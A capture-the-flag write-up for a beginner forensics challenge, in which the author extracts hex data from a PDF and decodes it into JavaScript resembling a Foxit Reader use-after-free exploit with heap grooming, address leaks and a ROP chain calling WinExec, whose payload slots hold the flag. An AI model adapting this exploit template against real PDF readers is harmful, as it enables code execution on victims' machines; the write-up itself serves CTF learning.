swiss hacking challenge 2024 - printer-destroyer-format
Difficulty: baby
Category: forensics
Author: xnull
I received a todo list from IT which I really need to complete. Clippy is telling lies and says it is not safe to open this PDF :( Stupid Clippy
Files
We are given a todo-list.pdf
Exploitation
Running strings
on the PDF results in this huge chunk of hex data:
76617220686561705F707472203D20303B0D0A76617220666F7869745F62617365203D20303B0D0A7661722070776E5F6172726179203D205B5D3B0D0A0D0A66756E6374696F6E20707265706172655F686561702873697A6529207B0D0A2020202076617220617272203D206E65772041727261792873697A65293B0D0A20202020666F7220287661722069203D20303B2069203C2073697A653B20692B2B29207B0D0A20202020202020206172725B695D203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B3B0D0A202020202020202069662028747970656F66206172725B695D203D3D20226F626A6563742229207B0D0A2020202020202020202020206172725B695D2E64657374726F7928293B0D0A20202020202020207D0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E2067632829207B0D0A20202020636F6E7374206D61784D616C6C6F634279746573203D20313238202A2030783130303030303B0D0A20202020666F7220287661722069203D20303B2069203C20333B20692B2B29207B0D0A20202020202020207661722078203D206E6577204172726179427566666572286D61784D616C6C6F634279746573293B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20616C6C6F635F61745F6C65616B2829207B0D0A20202020666F7220287661722069203D20303B2069203C20307836343B20692B2B29207B0D0A202020202020202070776E5F61727261795B695D203D206E657720496E7433324172726179286E6577204172726179427566666572283078343029293B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20636F6E74726F6C5F6D656D6F72792829207B0D0A20202020666F7220287661722069203D20303B2069203C20307836343B20692B2B29207B0D0A2020202020202020666F722028766172206A203D20303B206A203C2070776E5F61727261795B695D2E6C656E6774683B206A2B2B29207B0D0A20202020202020202020202070776E5F61727261795B695D5B6A5D203D20666F7869745F62617365202B20307830316137656532333B202F2F2070757368206563783B20706F70206573703B20706F70206562703B2072657420340D0A20202020202020207D0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E206C65616B5F767461626C652829207B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B0D0A0D0A20202020612E64657374726F7928293B0D0A20202020676328293B0D0A0D0A20202020707265706172655F68656170283078343030293B0D0A202020207661722074657374203D206E65772041727261794275666665722830783630293B0D0A202020207661722073746F6C656E203D206E657720496E74333241727261792874657374293B0D0A0D0A20202020766172206C65616B6564203D2073746F6C656E5B305D202620307866666666303030303B0D0A20202020666F7869745F62617365203D206C65616B6564202D20307830316635303030303B0D0A7D0D0A0D0A66756E6374696F6E206C65616B5F686561705F6368756E6B2829207B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B0D0A20202020612E64657374726F7928293B0D0A20202020707265706172655F68656170283078343030293B0D0A0D0A202020207661722074657374203D206E65772041727261794275666665722830783630293B0D0A202020207661722073746F6C656E203D206E657720496E74333241727261792874657374293B0D0A0D0A20202020616C6C6F635F61745F6C65616B28293B0D0A20202020686561705F707472203D2073746F6C656E5B315D3B0D0A7D0D0A0D0A66756E6374696F6E207265636C61696D2829207B0D0A2020202076617220617272203D206E65772041727261792830783130293B0D0A20202020666F7220287661722069203D20303B2069203C206172722E6C656E6774683B20692B2B29207B0D0A20202020202020206172725B695D203D206E65772041727261794275666665722830783630293B0D0A202020202020202076617220726F70203D206E657720496E7433324172726179286172725B695D293B0D0A0D0A2020202020202020726F705B307830305D203D20686561705F7074723B202020202020202020202020202020202F2F20706F696E74657220746F206F757220737461636B207069766F742066726F6D207468652054797065644172726179206C65616B0D0A2020202020202020726F705B307830315D203D20666F7869745F62617365202B20307830316131316430393B202F2F20786F72206562782C6562783B206F72205B6561785D2C6561783B207265740D0A2020202020202020726F705B307830325D203D20307837323732373237323B20202020202020202020202020202F2F206A756E6B0D0A2020202020202020726F705B307830335D203D20666F7869745F62617365202B203078303030303134353020202F2F20706F70206562703B207265740D0A2020202020202020726F705B307830345D203D20307866666666666666663B20202020202020202020202020202F2F20726574206F662057696E457865630D0A2020202020202020726F705B307830355D203D20666F7869745F62617365202B20307830303639613830323B202F2F20706F70206561783B207265740D0A2020202020202020726F705B307830365D203D20666F7869745F62617365202B20307830316632323537633B202F2F204941542057696E457865630D0A2020202020202020726F705B307830375D203D20666F7869745F62617365202B20307830303030633663303B202F2F206D6F76206561782C5B6561785D3B207265740D0A2020202020202020726F705B307830385D203D20666F7869745F62617365202B20307830303034396434653B202F2F2078636867206573692C6561783B207265740D0A2020202020202020726F705B307830395D203D20666F7869745F62617365202B20307830303032356364363B202F2F20706F70206564693B207265740D0A2020202020202020726F705B307830615D203D20666F7869745F62617365202B20307830303431633663613B202F2F207265740D0A2020202020202020726F705B307830625D203D20666F7869745F62617365202B20307830303032353466633B202F2F207075736861643B207265740D0A0D0A0D0A2020202020202020726F705B307830635D203D20307833323633363837330D0A2020202020202020726F705B307830645D203D20307837623334333233300D0A2020202020202020726F705B307830655D203D20307837303639366336330D0A2020202020202020726F705B307830665D203D20307836333566373937300D0A2020202020202020726F705B307831305D203D20307835663734366536310D0A2020202020202020726F705B307831315D203D20307837303663363536380D0A2020202020202020726F705B307831325D203D20307837353666373935660D0A2020202020202020726F705B307831335D203D20307837643231323135660D0A2020202020202020726F705B307831345D203D20307830303030303030300D0A2020202020202020726F705B307831355D203D20307830303030303030300D0A2020202020202020726F705B307831365D203D20307830303030303030300D0A0D0A0D0A2020202020202020726F705B307831375D203D20307830303030303030303B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20747269676765725F7561662829207B0D0A202020207661722074686174203D20746869733B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A202254657874222C20706167653A20302C206E616D653A202275616622207D293B0D0A2020202076617220617272203D205B315D3B0D0A202020204F626A6563742E646566696E6550726F70657274696573286172722C207B0D0A20202020202020202230223A207B0D0A2020202020202020202020206765743A2066756E6374696F6E202829207B0D0A0D0A20202020202020202020202020202020746861742E676574416E6E6F7428302C202275616622292E64657374726F7928293B0D0A0D0A202020202020202020202020202020207265636C61696D28293B0D0A2020202020202020202020202020202072657475726E20313B0D0A2020202020202020202020207D0D0A20202020202020207D0D0A202020207D293B0D0A0D0A20202020612E706F696E74203D206172723B0D0A7D0D0A0D0A66756E6374696F6E206D61696E2829207B0D0A202020206C65616B5F686561705F6368756E6B28293B0D0A202020206C65616B5F767461626C6528293B0D0A20202020636F6E74726F6C5F6D656D6F727928293B0D0A20202020747269676765725F75616628293B0D0A7D0D0A0D0A6D61696E28293B
Converting this back into ascii using binascii.unhexlify
results in the following fake exploit JavaScript code:
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size) {
var arr = new Array(size);
for (var i = 0; i < size; i++) {
arr[i] = this.addAnnot({ type: "Text" });;
if (typeof arr[i] == "object") {
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak() {
for (var i = 0; i < 0x64; i++) {
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory() {
for (var i = 0; i < 0x64; i++) {
for (var j = 0; j < pwn_array[i].length; j++) {
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable() {
var a = this.addAnnot({ type: "Text" });
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk() {
var a = this.addAnnot({ type: "Text" });
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim() {
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
rop[0x0c] = 0x32636873
rop[0x0d] = 0x7b343230
rop[0x0e] = 0x70696c63
rop[0x0f] = 0x635f7970
rop[0x10] = 0x5f746e61
rop[0x11] = 0x706c6568
rop[0x12] = 0x756f795f
rop[0x13] = 0x7d21215f
rop[0x14] = 0x00000000
rop[0x15] = 0x00000000
rop[0x16] = 0x00000000
rop[0x17] = 0x00000000;
}
}
function trigger_uaf() {
var that = this;
var a = this.addAnnot({ type: "Text", page: 0, name: "uaf" });
var arr = [1];
Object.defineProperties(arr, {
"0": {
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main() {
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
The only interesting part however is the following:
rop[0x0c] = 0x32636873
rop[0x0d] = 0x7b343230
rop[0x0e] = 0x70696c63
rop[0x0f] = 0x635f7970
rop[0x10] = 0x5f746e61
rop[0x11] = 0x706c6568
rop[0x12] = 0x756f795f
rop[0x13] = 0x7d21215f
When decoding all hex values line by line, we get the following:
2chs
{420
pilc
c_yp
_tna
pleh
uoy_
}!!_
That gives us the string 2chs{420pilcc_yp_tnaplehuoy_}!!_
, which almost looks like a flag, however the byteorder is inverted.
The easiest way to fix this in my opinion is to use the Swap endianness
block in CyberChef, which then shows us the flag:
Flag
Conclusion
Hiding the flag in some “ROP chain” is a pretty fun idea, which probably increased the difficulty quite a lot. I found the corresponding blocks pretty quickly by searching for the hex representations of s
/h
/c
in the code.